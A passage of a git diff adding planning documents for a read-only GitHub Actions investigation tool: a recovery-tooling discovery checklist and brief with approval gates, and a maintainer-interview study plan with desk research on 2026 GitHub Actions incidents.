**Mixed results** (PLATFORM suits some operations, while others meet rule 3) must weigh the cost of running two mechanisms against narrowing the scope. The choice is recorded with its reasoning, not decided by these rules. +5. **IN-REPO** (this repository) stays out of scope unless the project maintainer first makes the product change described in KUBERNETES_ACCESS §8.6. That change is a prerequisite. +6. **Authority:** the decision is made by the role identified in DA1 and recorded where DA4 says. These rules support it; they do not make it. + +## 11. Proposed ownership model (Q-R2) + +These are **proposed responsibilities, not approved policy.** No roles, teams or people are assigned here. Each row is a question for the platform team (§7 and §3) until answered with evidence. + +| Responsibility | What it covers | Answered by | Assigned to | +|---|---|---|---| +| **Propose** an operation | Raising a candidate recovery operation with its justification | DA5 | (unknown) | +| **Confirm need and scope** (sponsor) | Confirming the operation is worth its cost and risk, and fixing its scope, so it counts as agreed | DA6 | (unknown) | +| **Own the target** | The system the operation changes | W1 | (unknown) | +| **Own the credentials** | The roles or identities the operation uses, including rotation and revocation | W2 | (unknown) | +| **Approve the safety case and authorize execution** | Accepting the gate evidence (§8) and allowing real-target execution | DA7 | (unknown) | +| **Accept residual risk** | Accepting a risk that remains, such as detection instead of prevention under C7, within a defined authority | DA8 | (unknown) | +| **Request and approve a single execution** | Starting and approving one run of an authorized operation (two different people, C1) | W3 | (unknown) | + +- **These can be different responsibilities.** Sponsoring an operation, owning its target, authorizing its execution and accepting its residual risk are separate questions. One role may hold several of them only if that is recorded. +- **Whether some must be held by different roles is open.** For example, whether the sponsor may also be the sole authorizer. Only the C1 separation (the person who requests an execution can't approve it) is part of the proposed gates. +- **The investigation UI has no part in this.** It does not propose, authorize, request, approve or execute anything (KUBERNETES_ACCESS §8.4). + +--- + +## Q-R1 decision record (template) + +Record the decision where DA4 says when one is made: ARCHITECTURE for anything that changes this repository, otherwise the chosen location's records. Until then it stays blank. + +``` +Decision: Q-R1 — where recovery execution lives +Date: +Status: proposed | accepted | rejected | superseded +Accountable owner (role): # from DA1 +Participants (roles): + +Operations considered: # §9 records, by operation name; operations rejected under Q-R2 and why +Evidence reviewed: # checklist IDs and references, no contents +Capabilities confirmed: # per operation: applicable IDs with status "confirmed" +Gaps: # per operation: applicable IDs answered "no", whether the tooling's owner (W4) can close them, alternatives considered +Unknowns: # per operation: applicable IDs still "unknown" or "partial" (not counted as gaps) +Authorization blockers: # per operation: unconfirmed safety gates; input to K-7, not part of this decision +Ownership: # per operation: DA5, DA6, W1, W2, DA7, DA8 roles (§11), or "unknown" +Residual risks accepted: # risk record references and the DA8 role that accepted each; none is assumed + +Decision: # PLATFORM, SIBLING, IN-REPO (only after the product change), none, or deferred +Rationale: # against the decision rules in §10 and KUBERNETES_ACCESS §8.6 +Consequences: # for this repository, for the owning team, for K-6 and K-7; operations authorized: none until §10 is met + +Follow-up actions (owner, due): +- +Review date: +``` diff --git a/docs/PLATFORM_RECOVERY_DISCOVERY_BRIEF.md b/docs/PLATFORM_RECOVERY_DISCOVERY_BRIEF.md new file mode 100644 index 0000000..995b737 --- /dev/null +++ b/docs/PLATFORM_RECOVERY_DISCOVERY_BRIEF.md @@ -0,0 +1,141 @@ +# Platform recovery discovery — review brief (optional organization context) + +**Scope:** for an organization that wants to *run* recovery operations on its own infrastructure. That is an optional context, not the product's default audience. +- For maintainers of public and open-source repositories, the product's primary users, the recovery direction is a read-only **outage impact and catch-up view** (`docs/KUBERNETES_ACCESS.md` §4). +- Its next step is `docs/RECOVERY_VALIDATION_STUDY.md`. +- Share this brief only with an organization that asks to assess its own recovery tooling. + +**Status:** brief prepared 2026-10-29. **No decision has been made, and no answers are recorded.** +- **This is a summary.** The source of truth is `docs/PLATFORM_RECOVERY_DISCOVERY.md` (the full checklist). Where they differ, the full checklist applies. +- **Record answers in the full checklist,** not here. +- Background and research: `docs/KUBERNETES_ACCESS.md` §7–§8. + +## What we are trying to find out + +GitHub Actions UI is a read-only investigation tool. It doesn't run, request or approve anything, and that won't change with this review. + +The question here is separate: during a GitHub outage, can recovery operations (for example "redeploy a pinned release") be run safely? If so, where should that capability live (decision Q-R1)? + +The review should establish which of these outcomes the evidence supports: +- **Existing platform tooling is sufficient** for the recovery operations that are actually needed (option PLATFORM). +- **A separate recovery capability is justified** (option SIBLING). This requires all of the following: + - an agreed operation (its need and scope confirmed by the role in DA6); + - a demonstrated gap in the existing tooling (a question that applies, answered `no`); + - the tooling's owner (W4) can't close the gap; + - no suitable alternative exists, such as another tool, a manual procedure, or narrowing the operation. + + Where existing tooling suits some operations but not others, the choice is a recorded judgement, not an automatic outcome. +- **No executor is needed,** because no recovery operation justifies its cost and risk. +- **Deferred,** because the evidence isn't there yet. + +Placing recovery execution inside this repository is **not recommended**, and is considered only after a deliberate change to the project's purpose. All of these are proposals: **Q-R1, Q-R2, K-6, K-7, K-10, K-11 and every other architecture decision remain unapproved.** + +## How to answer + +- **Status:** `confirmed`, `partial`, `no` or `unknown`. +- **"Confirmed" needs evidence.** A verbal "yes" is `unknown` until it is shown. +- **Acceptable evidence:** an existing runbook, an architecture diagram, a drill or incident report, configuration reviewed in your own system, or a demonstration in a non-production environment. +- **Record where the evidence is and who showed it, not its contents.** This repository is public, so it must never receive credentials, tokens, keys, internal hostnames, account identifiers, incident details or personal data. +- **Answer per operation.** Not every question applies to every operation (full checklist §8–§9). Where answers differ by target, record them per target. + +**How unknown answers are handled:** +- `unknown` means evidence is **missing**, not that a capability **failed**. It never counts against the existing tooling, and never justifies a new repository. The response is to gather the evidence, or to defer the decision. +- `partial` is treated like `unknown` until its gap is described. Then it is split into `confirmed` (what was shown) and `no` (the rest). +- `unknown` **does block authorization.** No operation runs against real targets until both hold: + - every safety gate, and every question that applies to it, is `confirmed`; + - the role identified in DA7 has authorized it. +- **Choosing existing tooling authorizes no operation by itself.** Operations with missing evidence stay blocked. + +## Questions + +IDs match the full checklist. *Gate* marks a proposed safety gate that every operation must meet before running against a real target. + +**Existing tooling** + +| ID | Question | +|---|---| +| T1 | Does recovery or break-glass tooling exist today? What is it, and who owns it? | +| T2 | Which recovery operations does it support? | +| T3 | Which targets, environments and clouds does it cover, and which are excluded? | +| T4 | Does it depend on GitHub Actions or self-hosted runners to execute? (Runners need GitHub to receive jobs) | +| T5 *(gate)* | Are operations versioned and immutable (pinned digests, signed bundles), or edited in place? | + +**Complete GitHub outage** (github.com, its API, `ghcr.io` and GitHub's OIDC issuer all unavailable) + +| ID | Question | +|---|---| +| G1 | Where do operation definitions and runbooks live, and are they readable without GitHub? | +| G2 | Are the images pulled by digest from a registry that doesn't depend on GitHub? | +| G3 | Are run-time packages and dependencies vendored or mirrored? | +| G4 | How do operations get credentials without GitHub OIDC, and are they short-lived? | +| G5 | Which external services must be reachable, and what happens if one is down? | +| G6 | Can the tooling itself be fixed and released during a GitHub outage? | +| G7 | Has recovery been exercised with GitHub deliberately unreachable? | + +**Ownership and authority** (roles, not names) + +| ID | Question | +|---|---| +| W1 *(gate)* | Which team owns each target? | +| W2 *(gate)* | Who owns, rotates and revokes the credentials or roles each operation uses? | +| W3 *(gate)* | Who is on call to request a recovery, and who to approve one? | +| W4 | Who owns the recovery tooling itself? | +| W5 | Is there an escalation path when only one approver is reachable? It must still keep the two-person rule (C1) | +| DA1–DA4 | Who decides Q-R1? Who approves K-6 and K-7? Would using existing tooling create a dependency that needs its own architecture decision? Where are these decisions recorded? | +| DA5–DA8 | Who may propose an operation? Who confirms its need and scope? Who authorizes real-target execution? Who may accept residual risk, and within what limits? | + +These responsibilities may be held by different roles. One role may hold several only if that is recorded. + +**Approval, audit, least privilege and rollback** + +| ID | Question | +|---|---| +| C1 *(gate)* | Is two-person approval enforced **by the system**? A requester can create an execution only in a non-running (for example suspended) state, a **different** authorized person approves it, and it runs only after that approval. Group membership alone does not meet this | +| C2 *(gate)* | What audit record is kept (requester, approver, operation version, target, start, end, result)? Where, for how long, and can operators alter it? | +| C3 *(gate)* | Does each operation have its own identity with only the permissions it needs? | +| C4 *(gate)* | Is execution isolated from other workloads (namespace, network policy, no shared secrets)? | +| C5 *(gate)* | Does each operation have a tested rollback or a defined failure state? | +| C6 *(gate)* | Is a re-run safe, and are concurrent runs on one target prevented? (Kubernetes may start a Job's program twice) | +| C7 *(gate)* | Can anyone bypass approval: administrators, users who can impersonate a requester or approver, or anyone who can change the enforcing policy? Is bypass **prevented** or only **detected**? | + +**Drills** + +| ID | Question | +|---|---| +| DR1 *(gate)* | Has each operation passed a drill in a relevant **non-production** environment, for its target type and outage scenario? | +| DR2 | What recovery times were **measured**? Is there an agreed target, and who set it? | +| DR3 | Which drills failed or found gaps, and are those still open? | +| DR4 | Do operations expire or get disabled when drills lapse? | + +An optional set of questions (P1–P5) about publishing a read-only status file for the UI is in the full checklist. It is a separate decision and is not needed for Q-R1. + +## What counts for C7 and DR1 + +These are summaries. The full checklist §8 ("Gate evidence") governs. + +- **C7 (bypass):** + - *Prevented* (demonstrated) counts. + - *Detected* counts **only** with a recorded risk acceptance naming: + - the risk; + - the detection and compensating controls, with evidence that they work; + - the role that accepted it, which must hold that authority (DA8); + - evidence of the acceptance. + - Documenting detection alone is `partial`. Anything less is `unknown` and blocks authorization. +- **DR1 (drill):** the record must show all of the following: + - the specific operation, at the version to be authorized, and the target type; + - the outage scenario, or why the drill represents it; + - the expected and observed results; + - which of C1, C2, C5 and C6 were exercised. Those not exercised are listed, not assumed; + - failures, limitations and open risks. + + A drill of another operation, target type or scenario doesn't count. DR1 sets no recovery-time target. + +## What happens next + +1. The platform team answers in the full checklist, with evidence references. +2. A per-operation record (full checklist §9) lists, for each proposed operation: + - which questions apply and why; + - their status; + - what blocks authorization; + - any gaps that matter to Q-R1. +3. The role identified in DA1 makes the Q-R1 decision using the full checklist's rules (§10), and records it with the template at the end of the full checklist. diff --git a/docs/RECOVERY_VALIDATION_STUDY.md b/docs/RECOVERY_VALIDATION_STUDY.md new file mode 100644 index 0000000..c08abd7 --- /dev/null +++ b/docs/RECOVERY_VALIDATION_STUDY.md @@ -0,0 +1,642 @@ +# Recovery problem-validation study — plan + +**Status:** study plan prepared 2026-10-29. **Desk research D-1 and D-2 was carried out on 2026-10-29 (§8). It was limited in scope.** +- **Signal feasibility (§4) was assessed on 2026-10-29 from code, fixtures and GitHub documentation (§9). Live unauthenticated probes on public repositories followed on 2026-10-30 UTC (§9.8).** **D-3, the maintainer interview study, is prepared (§5) but not started:** no participant has been recruited or interviewed. D-4 (registry desk research) has not been done. No feature is validated. +- **No feature is approved.** The study decides whether the capabilities in `docs/KUBERNETES_ACCESS.md` §4 are worth building. + +**Audience:** maintainers of public and open-source GitHub repositories, the product's primary users. Organization-run infrastructure (Kubernetes, cloud, platform tooling) is an optional context (KUBERNETES_ACCESS §7–§8), not what the study is about. + +**Notation:** +- **[O]** verified in this repository; +- **[V]** taken from GitHub documentation; +- **[A]** an assumption that the study must test; +- **[Q]** a question still to be answered. + +--- + +## 1. What the study must answer + +1. **Problems:** which problems do maintainers actually have when GitHub Actions or related services are unavailable, and how often? (The candidates in KUBERNETES_ACCESS §4.1 are all **[A]**.) +2. **Signals:** with the app's existing read-only access, can it reliably show: + - failed and cancelled runs during a time window; + - possible missed scheduled runs; + - PRs waiting on checks; + - any evidence of an infrastructure problem? + + And can it do so without claiming a cause? +3. **Value:** would a read-only **outage impact and catch-up view** save maintainers meaningful time or risk compared with GitHub's own pages and the status site? +4. **Later capability:** is a caveated **"release without Actions" preparation guide** wanted, and can it be made accurate enough not to mislead? + +## 2. Starting facts + +**Verified [O], from this repository:** +- The app requests only **Actions: Read, Contents: Read and Metadata: Read** (README). Whether Checks: Read and Pull requests: Read are needed is open question **Q2** (ARCHITECTURE §7.1). +- The app calls **no** pull-request, check-run, check-suite or annotations endpoints. It recognises runner annotations only as `##[error]`, `##[warning]` and `##[notice]` lines inside logs (`src/domain/logs/classify.ts`). +- The run list can already filter by event, including `schedule` (`src/ui/RepoDashboard.tsx`). The app already reads workflow files at a run's commit. +- The execution-graph model already has an `unknown` status (`src/domain/graph/build.ts`). The product rule is to show evidence, never a verified cause (ARCHITECTURE §1). +- The pinned fixture corpus (`fixtures.lock.json`) contains `workflow_dispatch`, `push` and `pull_request` runs, and **no** runs triggered by a schedule. Its run and job outcomes include `failure`, `cancelled`, `skipped` and `success`. A search found no infrastructure-failure messages in it. So it cannot yet test schedule gaps or infrastructure signals. +- The app keeps nothing between sessions (A4), and reads only GitHub's API. **It can show nothing while GitHub's API is unavailable.** + +**From GitHub documentation [V]** (events that trigger workflows, `schedule`, read 2026-10-29: https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows): +- the `schedule` event "can be delayed during periods of high loads", and "some queued jobs may be dropped"; +- "In a public repository, scheduled workflows are automatically disabled when no repository activity has occurred in 60 days"; +- scheduled workflows "will only run on the default branch". + +So a scheduled run that is absent is **not** evidence of an outage on its own. It must be shown as "possible missed run", cause unknown. + +## 3. Desk research (D-1 and D-2 done 2026-10-29, see §8; D-4 to do) + +| Item | Sources to consult | What to extract | Output | +|---|---|---|---| +| D-1. Incident history | GitHub's public status history (githubstatus.com) and published availability reports | Which components were affected (Actions, API, Git, Packages, Pages), how often, how long, and whether partial or complete | A dated table with a link for every incident counted, and the period covered | +| D-2. Maintainer discussions | Public issues and discussions in open-source repositories, the GitHub Community forum, and public maintainer write-ups about Actions outages | Which problems maintainers report (blocked releases, blocked merges, missed schedules, catch-up work, credentials tied to Actions), and what they did about it | Quoted excerpts **with links**, grouped by problem. No paraphrase presented as a quote | +| D-4. Publishing that depends on Actions (formerly D-3) | Public documentation of major package registries' "trusted publishing" and provenance features | Which publishing paths work only from Actions, and which fallbacks the registries document | A per-registry table with sources; nothing assumed for registries not checked | + +Rules: record the search terms and the date. Count only what the sources show. Mark gaps as gaps. + +## 4. Signal feasibility (assessed 2026-10-29, see §9; probes in §9.8 to do) + +Assess each signal against **public repositories** and the fixture corpus, using only the existing read-only access unless a row says otherwise. + +| Signal | How it might be established | Permission needed | What to measure | Status | +|---|---|---|---|---| +| S-1. Failed or cancelled runs in a window | Run list filtered by time and conclusion | Existing (Actions: Read) | Completeness (pagination, time filters); cost in requests | [A] feasible | +| S-2. Runs that never started, or started very late | Run and job states, and queue time (created vs started) | Existing | Whether these separate infrastructure delay from normal queueing; false positives | [A] partly feasible | +| S-3. Infrastructure evidence | Run conclusions such as `startup_failure`, runner errors in logs, missing runner information on jobs | Existing; logs on request | Which messages appear in real incidents, and whether any of them is specific enough to label (D-2 supplies examples) | **[Q] unknown** | +| S-4. Possible missed scheduled runs | The `cron` in the workflow file at the default branch, compared with runs whose event is `schedule` | Existing (Contents: Read, Actions: Read) | Tolerance for documented delays and drops; detecting disabled workflows; time zones (cron is UTC) | [A] feasible, always labelled "possible" | +| S-5. PRs waiting on checks | Open PRs, their head commit's check runs and statuses, and the base branch's required checks | **Beyond the current set** for private repositories (Pull requests, Checks, possibly Administration for protection rules). **[A]** Public-repository data may be readable with the existing token; to verify | Which data is readable without new permissions; whether required checks can be known without admin access | **[Q] unknown; depends on Q2** | +| S-6. Links for re-runs | Deep links to the run or job page on GitHub; the person re-runs there | None beyond existing | Link correctness for runs, attempts and jobs | [O] the app already links to GitHub | + +**Fixture work:** add *synthetic* fixtures for schedule gaps and infrastructure-like failures only after D-2 shows real message patterns. Fixture changes need approval (ROADMAP rules). + +## 5. D-3: maintainer interview study (prepared 2026-10-30; not started) + +**Status:** +- **Prepared, not completed.** No participant has been recruited or interviewed, and no findings exist. +- This guide replaces the earlier draft questions in this section. +- (The registry desk research formerly labelled D-3 is now **D-4**, §3. It is unchanged and not started.) + +**Purpose:** +- Test, from real past experience, whether catch-up after Actions disruptions costs maintainers meaningful effort. §8.4 found this not yet shown. +- Find out what information maintainers actually used, or lacked. +- The proposed view is tested only at the end, after the experience has been recorded. + +### 5.1 Participants + +- **Who:** 5–8 maintainers of public or open-source repositories that use GitHub Actions for CI or releases. +- **Spread to aim for** (recorded in the profile field, not by name): + - project size: solo, small team, large; + - runners: GitHub-hosted or self-hosted; + - publishing or deployment: automated from Actions, or manual; + - scheduled workflows, or none; + - many fork PRs, or few. +- **Eligibility:** has maintained such a repository for at least the past 12 months. + - Having experienced a disruption is **not** required. + - "None" and "it didn't matter" are valid answers, and they guard against selection bias. +- **Consent:** + - Participation is voluntary and can stop at any time. + - Ask before taking notes, and again before any recording. + - Notes are anonymized as participants P1…P8: no names, handles, employers or repository names. + +### 5.2 What not to collect + +- **Never request or accept:** tokens, secrets, credentials, private repository names, private logs, internal hostnames, incident tickets, or screenshots of private pages. +- **If a participant starts sharing one:** stop them, and record only "described a log or error (not collected)". +- **Public links** (for example a public issue or run): note one only if the participant offers it and agrees it can be stored. Store the link, not its content. +- **This repository holds nothing identifying.** Raw notes, if kept at all, stay outside it and are deleted once the summary is written. + +### 5.3 Interviewer rules + +- **Order matters:** + - Parts A–C are about what happened. + - Part D is about what they wish they had had. + - Part E introduces the idea. **Before Part E, never mention the catch-up view, outages "being a problem", or this project's direction.** +- **Ask about the last specific occasion,** not general habits ("the last time…", "what did you do next?"). If the participant generalizes, ask for an example. +- **Don't suggest answers, examples or tools.** If the participant is stuck, give one example and record that you did. +- **Don't agree or praise.** Silence is fine. +- **Label every answer** as it is recorded (§5.5): + - **E**, direct experience: something they did or saw, with a rough date; + - **O**, opinion or belief; + - **H**, hypothetical or preference ("I would…"). +- **About 30–40 minutes.** Skip questions that don't apply, and record "not applicable" rather than a guess. + +### 5.4 Guide + +**Part A: experience (E)** +1. Have you had a time when GitHub Actions didn't work as expected for your project, for reasons you didn't cause? Tell me about the most recent one. Roughly when was it, and what happened? + - If none: ask "What's the closest you've come?", then go to question 6. + - Probes: How long did it last? Was it a one-off, or has it happened before? + +**Part B: diagnosis (E)** + +2. How did you work out whether the problem was in your workflow, your runner, or GitHub? + - Probes: What did you look at first, and what settled it? How long did that take? Were you ever wrong about the cause? + +**Part C: impact and catch-up (E)** + +3. What couldn't you do while it lasted? + - Probe each area that applies, without listing them first: PRs and merges, releases, publishing, scheduled jobs, deployments, contributors' PRs. + - Probes: Did anything wait on you? Did contributors or users notice? +4. How did you find runs that were stuck, missing, or needed re-running? + - Probes: How did you know you'd found them all? Did you miss any? How did you find out later? +5. What did you do after the service recovered? + - Probes: What did you re-run, re-trigger or redo by hand? How long did it take? Was any work left half done, such as a partial release or a skipped scheduled job? + +**Part D: needs (O or H; ask before showing any idea)** + +6. Looking back, what information or tool would have saved you time? + - If the answer is "nothing", record it, and don't probe for alternatives. + +**Part E: the proposed view (H; introduce only now)** + +Read this description exactly as written, without adding benefits: + +> "A read-only page that, for one repository and a time window you choose, lists runs that are still queued or in progress and for how long, runs that failed or were cancelled with GitHub's own conclusion, and scheduled runs that may not have happened, each linking to GitHub. It doesn't say why something happened and can't re-run anything." + +7. Would this be useful to you, and when? Which of that information, if any, would matter most? + - Probe: What would you still have to do yourself? + - Record "not useful" answers in full. +8. What would make a view like this misleading or untrustworthy? + - Probes: What would make you stop using it? What would it need to say clearly? + +**Close:** +- Ask: "Is there anything about your experience I didn't ask about?" +- Thank them, and confirm what will be recorded. + +### 5.5 Evidence-recording template + +- Fill in one copy per interview, from the notes, within 24 hours. +- Store it without identifying details. + +```text +Interview: P Date: YYYY-MM-DD Interviewer: Duration: +Consent: notes yes/no recording yes/no public links storable yes/no +Profile: size ; runners ; + publishing from Actions ; scheduled workflows ; fork PRs +Examples prompted by interviewer: + +| Q | Label (E/O/H) | Answer (participant's words or close paraphrase; direct quotes in "...") | When (approx.) | +|---|---|---|---| +| 1 | | | | +| … | | | | + +Experience summary (E answers only): +- Disruption experienced: yes / no / unsure Most recent: +- Blocked: PRs / releases / publishing / schedules / deployments / none (as stated) +- Catch-up actions taken: Time spent: +- Something missed and found later: yes / no / not stated +- How the cause was determined: + +Reaction to the view (H, Part E only): useful / not useful / mixed / no opinion +Most important information named: +Misleading or trust concerns: + +Interviewer observations (kept separate; not evidence of the participant's view): +- +Sensitive content declined: +``` + +### 5.6 Analysis + +- **Wait until all interviews are done,** then tally. Count participants, not mentions. +- **Evidence of the problem:** only **E** answers count as evidence that the problem exists or costs effort. +- **O and H answers** inform design and trust, never demand. +- **Report every tally, including the negative ones:** + - no disruption experienced; + - GitHub's pages and re-running were enough; + - "not useful". +- **No percentages** at this sample size: "3 of 6", not "50%". + +## 6. Evidence and decision criteria + +**Proceed with the outage impact and catch-up view** only if all of these hold: +- **Problem:** D-1 and D-2, or the interviews, show that catch-up after Actions incidents recurs and costs maintainers effort. The evidence must be cited, and the threshold agreed before the research is analysed. +- **Signals:** S-1, S-4 and S-6 are reliable with the existing permissions. S-3 is shown only where evidence supports it, otherwise as `unknown`. S-5 is either feasible within the existing permissions for public repositories, or deferred to a separate Q2 decision. +- **Boundaries:** the design stays read-only, needs no new write or privileged credential, and adds no caching, persistence, backend, scheduler or executor. +- **Honesty:** every result can be presented as evidence with an explicit `unknown`, never as a stated cause. + +**Investigate the "release without Actions" guide further** only if D-2, D-4 or the interviews (D-3) show the need. It would also need a way to present the guide's limits (KUBERNETES_ACCESS §7.3) so it can't be mistaken for a tested procedure. + +**Stop or narrow** if: +- the problems don't recur; +- GitHub's own pages already answer them; +- the signals would mislead more often than help. + +## 7. Outputs + +- A dated findings document with sources for every claim, keeping verified findings, assumptions and open questions apart. +- A recommendation for the project maintainer: build, narrow, defer or drop each capability. It is recorded in ARCHITECTURE only if a decision is made. + +--- + +## 8. Desk research results: D-1 and D-2 (2026-10-29) + +**Method:** +- Web searches on 2026-10-29 for GitHub availability reports, githubstatus.com incidents, GitHub Community discussions, news coverage and maintainer write-ups about Actions outages. +- Each source listed below was **opened and read**. Search-result summaries were not used as evidence. +- **Primary** means GitHub's own reports or first-hand posts. **Secondary** means news reporting. +- Aggregator and status-mirror sites were not used as evidence. +- Each incident is counted **once**, however many sources describe it. + +### 8.1 D-1: GitHub incidents affecting Actions (primary sources) + +| # | Date (UTC) | Duration | Affected | Reported impact (as GitHub states it) | What GitHub says customers had to do afterwards | Source | +|---|---|---|---|---|---|---| +| I-1 | 2026-02-02 | — | Actions hosted runners | "Major outage"; runner lifecycle operations halted | — | [GitHub CTO, 2026-03-11](https://github.blog/news-insights/company-news/addressing-githubs-recent-availability-issues-2/) | +| I-2 | 2026-03-05 | — | Actions job orchestration | A Redis failover left no writable primary; fixed manually | — | same | +| I-3 | 2026-07-09 | 9h18m | Hosted runners, Pages builds, Copilot jobs | ~8% of hosted-runner runs delayed >5 min; ~2% failed to start | — | [Availability report, July 2026](https://github.blog/news-insights/company-news/github-availability-report-july-2026/) (published 2026-08-12) | +| I-4 | 2026-07-19 | 5h10m | Self-hosted and larger runners | 9% of runs had a start delay, peaking at 21.4% | — | same | +| I-5 | 2026-07-19 | 2h11m | github.com including Actions and webhooks | Peak regional 5xx rate 9.9%; webhooks interrupted ~40 min in one environment | — | same | +| I-6 | 2026-07-25 | 52 min (two periods) | Actions job assignment | At peak, 60% of runs "failed with an infrastructure error"; 30% delayed >5 min | — | same | +| I-7 | 2026-08-06 | ~9–10.7 h (the report gives both) | Hosted and self-hosted runners, Pages, Dependabot, Copilot | ≥74 organizations had runs fail to start, fail partway, or stay queued | Re-running "usually succeeded". Some self-hosted runners were recovered manually. Some events "could not be replayed automatically" and had to be re-triggered | [Availability report, August 2026](https://github.blog/news-insights/company-news/github-availability-report-august-2026/) (2026-09-09); [incident thread #204152](https://github.com/orgs/community/discussions/204152) | +| I-8 | 2026-08-17 | ~6h44m–7h35m | APIs, issues, PRs, Actions, webhooks API | 56.07% of front-door requests failed or were slow at peak; ~29K organizations | Retrying often worked | August 2026 report | +| I-9 | 2026-08-26 | ~2h50m | Actions run starts, Pages, Copilot review | "more than one in five" run starts failed or badly delayed; 386 organizations | Failed runs succeeded when re-run. Runs created early "had to be started fresh". Some runs stayed showing as queued | August 2026 report | +| I-10 | 2026-09-13 | ~1.5–2 h | Starting workflows, plus issues, PRs, tokens | ~4% of workflows had intermittent failures | — | [Availability report, September 2026](https://github.blog/news-insights/company-news/github-availability-report-september-2026/) (2026-10-14) | + +**Secondary only (not counted above):** +- *2026-05-26*, Actions and Pages authentication failures: GitHub's incident updates said "the majority of Actions runs" were affected, from about 10:57 to 13:18 UTC. Reported by [The Register, 2026-05-27](https://www.theregister.com/devops/2026/05/27/github-actions-outage-told-devs-your-account-is-suspended/5246867); the May availability report was not read. +- *2026-10-01* and *2026-10-05:* seen only in search summaries; not verified. + +**Excluded as not relevant to public repositories:** 2026-07-08, which affected data-resident Enterprise Cloud environments only. + +**Facts established [V]:** +- The three monthly reports read (July to September 2026) describe **8 incidents affecting Actions** on github.com (I-3 to I-10). +- Several lasted multiple hours (I-3, I-4, I-7, I-8, I-9). +- After I-7 and I-9, GitHub itself says customers had to **re-run failed workflows, re-trigger runs whose events were never processed, or start runs fresh**, and that some runs stayed shown as queued. +- GitHub uses the category "failed with an infrastructure error" (I-6). + +### 8.2 D-2: maintainers' and users' experiences + +| # | Date | Source (type) | Documented facts | Interpretation, and its limits | +|---|---|---|---|---| +| M-1 | 2026-05-23 to 2026-08-07 | [Community discussion #196717](https://github.com/orgs/community/discussions/196717) (first-hand, 12 participants) | Runs stuck in "Queued" that could not be cancelled; force-cancel returned HTTP 500, 409 or 403. A merged PR's run stayed queued; a Pages deployment stayed queued until it timed out. Participants linked it to GitHub outages (May; "the outage yesterday" on Aug 7). The accepted answer points to a Support ticket whose content isn't visible | Supports "is it GitHub or me?" and catch-up after outages. Mixed audience (not only open source). The cause is the participants' attribution, not GitHub's confirmation | +| M-2 | 2026-08-06 onwards | [Incident thread #204152](https://github.com/orgs/community/discussions/204152) (GitHub announcement, 24 participants) | Recovery steps: delete stuck ARC pods or redeploy, re-run, or push a new commit, because events "cannot be replayed automatically". Users kept reporting stuck runs after resolution, with one report on 2026-10-01 | The same incident as I-7, so **not independent evidence of recurrence**. Shows that catch-up work continued after resolution | +| M-3 | undated | [pdelie CI troubleshooting guide](https://pdelie.readthedocs.io/en/stable/releases/CI_TROUBLESHOOTING.html) (an open-source project's runbook) | For a 503 during action download: check the status page; if an incident is open, "that is the confirmed cause"; re-run the failed jobs (`gh run rerun --failed`); don't force-push; don't disable the check | **Counter-evidence:** this project handles outages with the status page plus re-runs, which existing tools already allow. One project only | +| M-4 | 2026-01-26 onwards | [Community discussion #185355](https://github.com/orgs/community/discussions/185355) (first-hand) | Scheduled workflow not running. The causes discussed were load delays, default branch, UTC and inactivity; **no outage was confirmed**. An accepted fix (push a commit) didn't work for the poster. One user switched to an external cron calling `workflow_dispatch` | **Counter-evidence for attribution:** missing scheduled runs happen without an outage, and their causes are often unclear. "Possible missed scheduled run" must never imply an outage | +| M-5 | 2026-05-27 | [The Register](https://www.theregister.com/devops/2026/05/27/github-actions-outage-told-devs-your-account-is-suspended/5246867) (news) | During the 2026-05-26 incident, runs failed with a misleading "Your account was suspended" error. One person responsible for a company CI team said CI was "basically blocked" | Supports "is it GitHub or me?". The quote is from a company, not an open-source maintainer | +| M-6 | 2026-08-06 | [The Register](https://www.theregister.com/a/5284297) (news) | Reports a well-known open-source maintainer saying GitHub is no longer a place for "serious work". Secondhand; it doesn't say whether Actions was the reason | Shows reliability concern among maintainers. **Not** evidence of a catch-up need | + +**Searched for but not found:** +- an open-source project announcing a release delayed or postponed because of an Actions outage; +- a maintainer's first-hand write-up of catch-up work after an outage. + +Absence in a limited search isn't evidence of absence, but it means the **cost to maintainers is not yet documented**. + +### 8.3 Limitations + +- **Period:** the incident count covers July to September 2026 (three reports) plus two earlier incidents from GitHub's March post. Other months weren't read, so this is **not** an annual count. The reports measure impact in organizations and percentages, not specific repositories. +- **Not about open source specifically:** GitHub's reports don't say which incidents hurt public repositories most. +- **Few first-hand maintainer sources:** two Community threads with mixed audiences, one project runbook, and news quotes. No interviews have been held. +- **Search:** web search on one day, in English, without access to private channels or chat platforms. +- **Attribution:** user posts link failures to outages. This study records that as their attribution unless GitHub confirms it. + +### 8.4 Preliminary assessment (not a decision) + +- **Recurring: supported.** Incidents affecting Actions recur, with 8 in three months of 2026 per GitHub's own reports, several lasting hours. GitHub itself describes post-incident catch-up work: re-running, re-triggering events that were never processed, starting runs fresh, and clearing runs stuck as queued (I-7, I-9). +- **Meaningful to open-source maintainers specifically: not yet shown.** The evidence of cost to maintainers is thin. One project's runbook suggests the status page and re-running are enough for simple cases (M-3). +- **Implications for the view, if pursued:** + - The most distinctive need in the evidence is finding what **didn't run or stayed stuck**: runs whose events were never processed, runs stuck as queued, possible missed schedules. Simply listing failures is less distinctive, since GitHub's UI already shows them. + - That makes signals S-2, S-4 and S-5 and the detection of *absent* runs the critical feasibility questions. + - It also makes honest labelling essential: M-4 shows that missing runs happen without outages. +- **Outside the view's read-only scope:** cancelling stuck runs, and fixing self-hosted runner controllers (M-1, M-2). The view could at most point people to GitHub. + +### 8.5 Recommendation + +**Proceed to API signal feasibility (§4).** +- The recurrence of the problem is established from primary sources. +- More desk research is showing diminishing returns: public first-hand maintainer accounts are scarce. +- The decisive open question is whether read-only access can reliably find stuck, absent and possibly missed runs without implying a cause. Feasibility work can answer that cheaply, or rule the idea out. +- Whether maintainers value the view still needs the interviews (§5) before any build decision (K-10). + +--- + +## 9. Signal feasibility results (2026-10-29) + +**Method:** +- Read the app's GitHub client (`src/github/client.ts`), domain types and conclusion sets (`src/domain/types.ts`), `src/domain/graph/build.ts`, `src/domain/insights/retry-evidence.ts`, the log classifier (`src/domain/logs/classify.ts`) and the run filters in `src/ui/RepoDashboard.tsx`. +- Scanned the pinned fixture corpus (`fixtures.lock.json`, commit `184ede0`) with a throwaway script kept outside the repository. Searched the synthetic fixtures in `tools/fixture-server/`. +- Read GitHub's REST documentation, cited per item (all read 2026-10-29). +- No live API calls were made for §9.1–§9.7. Questions the documentation didn't settle were marked 